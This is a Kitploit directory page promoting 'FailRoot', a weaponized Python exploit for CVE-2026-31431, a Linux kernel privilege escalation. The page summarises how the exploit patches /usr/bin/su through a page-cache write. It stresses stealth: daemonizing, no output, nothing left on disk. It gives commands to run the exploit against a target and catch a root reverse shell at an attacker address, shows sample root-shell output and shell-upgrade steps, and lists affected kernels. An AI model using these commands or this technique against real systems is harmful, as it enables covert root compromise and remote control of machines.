Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-REVSHELL — Weaponized Python exploit for CVE-2026-31431, chaining Linux kernel privilege escalation to a daemonized root reverse shell with full PTY, patching /usr/bin/su in-memory. | Kitploit
Tools/GitHubGitHub/danimrtzp/cve-2026-31431-revshell
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed TeamingPayload Development
Share
GitHub
danimrtzp/cve-2026-31431-revshell

CVE-2026-31431-REVSHELL

Weaponized Python exploit for CVE-2026-31431, chaining Linux kernel privilege escalation to a daemonized root reverse shell with full PTY, patching /usr/bin/su in-memory.

View Repository
1366 months agoNot yet reviewed


  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

Overview

FailRoot is a weaponized exploit for CVE-2026-31431 — an out-of-bounds write in the Linux kernel's crypto: algif_aead subsystem.

It chains a privilege escalation with a daemonized root reverse shell with full PTY:

AF_ALG + splice()  →  4-byte page-cache write  →  patch /usr/bin/su  →  root

The entire exploit fits in one file. No compilation. No external dependencies. No trace on disk — the su binary is patched in-memory only.


What it does

  1. Daemonizes instantly — double-fork, detaches from terminal, returns prompt immediately
  2. Loads kernel modules — algif_aead + authencesn via multiple fallback strategies
  3. Exploits CVE-2026-31431 — writes 4 controlled bytes into /usr/bin/su page cache
  4. Spawns root PTY reverse shell — pty.spawn("/usr/bin/su") → fully interactive root TTY

The reverse shell survives terminal close (SIGHUP ignored), shows zero output on the target, and connects with retries for up to 3 minutes.


Usage

# Attacker — start listener:
nc -lvnp 4444

# Target — run exploit (nothing will show, it daemonizes instantly):
python3 exploit.py <ATTACKER_IP> 4444
attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

TTY upgrade (attacker side, inside the shell)

Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

Affected Kernels

FromTo (exclusive)
4.145.10.254
5.115.15.204
5.166.1.170
6.26.6.137
6.76.12.85
6.136.18.22
6.196.19.12
7.0rc1–rc6

Requirements

  • Python >= 3.10 (os.splice())
  • Read access to /usr/bin/su (world-readable on all distros)
  • Kernel modules algif_aead and authencesn available
  • No sudo required

Author

danimrtzp


Disclaimer

For authorized security research and education only. Misuse is illegal.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    851
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    538
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    297
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools →